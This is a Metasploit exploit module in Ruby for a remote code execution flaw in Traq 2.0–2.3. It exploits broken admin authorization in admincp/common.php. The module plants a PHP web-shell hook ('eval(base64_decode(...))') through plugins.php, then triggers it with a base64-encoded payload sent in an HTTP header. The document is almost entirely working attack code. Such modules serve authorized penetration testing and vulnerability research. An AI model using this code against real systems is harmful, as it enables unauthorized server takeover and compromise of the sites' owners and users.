## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Traq admincp/common.php Remote Code Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located into /admicp/ directory to make sure the user has admin rights, but this is a broken authorization schema due to the header() function doesn't stop the execution flow. This can be exploited by malicious users to execute admin functionality resulting for e.g. in execution of arbitrary PHP code leveraging of plugins.php functionality. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', # Vulnerability discovery and exploit 'TecR0c ' # Metasploit Module ], 'References' => [ [ 'OSVDB', '77556'], [ 'EDB', '18213' ], [ 'URL', 'http://traqproject.org/' ], ], 'Privileged' => false, 'Payload' => { 'Keys' => ['php'], 'Space' => 4000, 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Dec 12 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The path to the Traq installation", "/"]), ],self.class) end def check uri = normalize_uri(datastore['URI'], "admincp", "login.php") res = send_request_raw( { 'uri'=> uri }, 25) if (res and res.body =~ /Powered by Traq 2.[0-3]/ ) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit p = Rex::Text.encode_base64(payload.encoded) uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook" res = send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'plugin_id' => '1', 'title' => '1', 'execorder' => '0', 'hook' => 'template_footer', 'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;' } }, 25) uri = normalize_uri(datastore['URI'], "index.php") res = send_request_cgi( { 'method' => 'GET', 'uri' => uri, 'headers' => { 'CMD' => p, 'Connection' => 'Close', }, }, 25) end end